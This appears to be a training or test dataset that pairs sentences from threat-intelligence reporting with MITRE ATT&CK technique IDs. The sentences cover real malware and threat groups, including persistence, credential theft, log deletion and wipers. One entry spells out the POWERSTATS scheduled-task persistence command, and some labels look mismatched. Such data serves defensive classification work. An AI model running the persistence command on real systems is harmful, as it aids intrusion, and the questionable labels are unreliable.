Rifdoor has been executed from malicious Excel or Word documents containing macros.
Technique: T1204: User Execution
PipeMon communications are RC4 encrypted.
Technique: T1573: Encrypted Channel
auditpol.exe may also be used to set audit policies.
Technique: T1562: Impair Defenses
menuPass has used native APIs including GetModuleFileName, lstrcat, CreateFile, and ReadFile.
Technique: T1106: Native API
Patchwork also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.
Technique: T1119: Automated Collection
Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.
Technique: T1602: Data from Configuration Repository
POWERSTATS has the ability to identify the username on the compromised host.
Technique: T1033: System Owner/User Discovery
Spark has checked the results of the GetKeyboardLayoutList and the language name returned by GetLocaleInfoA to make sure they contain the word “Arabic” before executing.
Technique: T1614: System Location Discovery
USBS Deletes the file created by the USB command to reverse the effect
Technique: T1070: Indicator Removal on Host
This file contains information about the infected system and activity logs.
Technique: T1052: Exfiltration Over Physical Medium
APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable.
Technique: T1561: Disk Wipe
After compromising a victim, Poseidon Group lists all running processes.
Technique: T1057: Process Discovery
Carbanak also uses XOR with random keys for its communications.
Technique: T1573: Encrypted Channel
When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.
Technique: T1601: Modify System Image
Adversaries may also install malicious IIS modules to observe and/or modify traffic.
Technique: T1505: Server Software Component
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4)
Technique: T1059: Command and Scripting Interpreter
Comnie executes the netstat -ano command.
Technique: T1049: System Network Connections Discovery
KeyBoy attempts to collect passwords from browsers.
Technique: T1555: Credentials from Password Stores
POWERSTATS has established persistence through a scheduled task using the command ”C:\Windows\system32\schtasks.exe” /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR “c:\Windows\system32\wscript.exe C:\Windows\temp\Windows.vbe”.
Technique: T1053: Scheduled Task/Job
LookBack can shutdown and reboot the victim machine.
Technique: T1529: System Shutdown/Reboot
DealersChoice makes modifications to open-source scripts from GitHub and executes them on the victim’s machine.
Technique: T1059: Command and Scripting Interpreter
Turla has modified variables in kernel memory to turn off Driver Signature Enforcement after exploiting vulnerabilities that obtained kernel mode privileges.
Technique: T1553: Subvert Trust Controls
If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.
Technique: T1011: Exfiltration Over Other Network Medium
UBoatRAT has used GitHub and a public blog service in Hong Kong for C2 communications.
Technique: T1102: Web Service
TA505 has used spearphishing emails with malicious attachments to initially compromise victims.
Technique: T1566: Phishing
Cobalt Strike can track key presses with a keylogger module.
Technique: T1056: Input Capture
RawPOS installs itself as a service to maintain persistence.
Technique: T1543: Create or Modify System Process
BLACKCOFFEE has the capability to create a reverse shell.
Technique: T1059: Command and Scripting Interpreter
Protocol Tunneling may also be abused by adversaries during Dynamic Resolution.
Technique: T1572: Protocol Tunneling
Axiom has been observed using SQL injection to gain access to systems.
Technique: T1190: Exploit Public-Facing Application
Lazarus Group has also used a custom version Mimikatz to capture credentials.
Technique: T1003: OS Credential Dumping
menuPass has also issued the command net view /domain to a PlugX implant to gather information about remote systems on the network.
Technique: T1018: Remote System Discovery
Lazarus Group has acquired infrastructure related to their campaigns to act as distribution points and C2 channels.
Technique: T1583: Acquire Infrastructure
The Registry contains a significant amount of information about the operating system, configuration, software, and security.
Technique: T1012: Query Registry
Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated.
Technique: T1090: Proxy
IcedID has called ZwWriteVirtualMemory, ZwProtectVirtualMemory, ZwQueueApcThread, and NtResumeThread to inject itself into a remote process.
Technique: T1106: Native API
It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems
Technique: T1056: Input Capture
QUADAGENT has a command to delete its Registry key and scheduled task.
Technique: T1070: Indicator Removal on Host
FIN6 has used kill.bat script to disable security tools.
Technique: T1059: Command and Scripting Interpreter
Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Technique: T1614: System Location Discovery
The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell
Technique: T1546: Event Triggered Execution
The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.
Technique: T1001: Data Obfuscation
Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap.
Technique: T1110: Brute Force
Chimera has used Cobalt Strike to encapsulate C2 in DNS traffic.
Technique: T1071: Application Layer Protocol
InvisiMole can mimic HTTP protocol with custom HTTP “verbs” HIDE, ZVVP, and NOP.
Technique: T1001: Data Obfuscation
As part of the data reconnaissance phase, Proxysvc grabs the system time to send back to the control server.
Technique: T1124: System Time Discovery
CORESHELL downloads another dropper from its C2 server.
Technique: T1105: Ingress Tool Transfer
Darkhotel has used malware that is disguised as a Secure Shell  tool.
Technique: T1036: Masquerading
Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.
Technique: T1059: Command and Scripting Interpreter
TURNEDUP is capable of taking screenshots.
Technique: T1113: Screen Capture
MuddyWater has used JavaScript files to execute its POWERSTATS payload.
Technique: T1059: Command and Scripting Interpreter
OLDBAIT collects credentials from several email clients.
Technique: T1555: Credentials from Password Stores
Sandworm Team has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.
Technique: T1589: Gather Victim Identity Information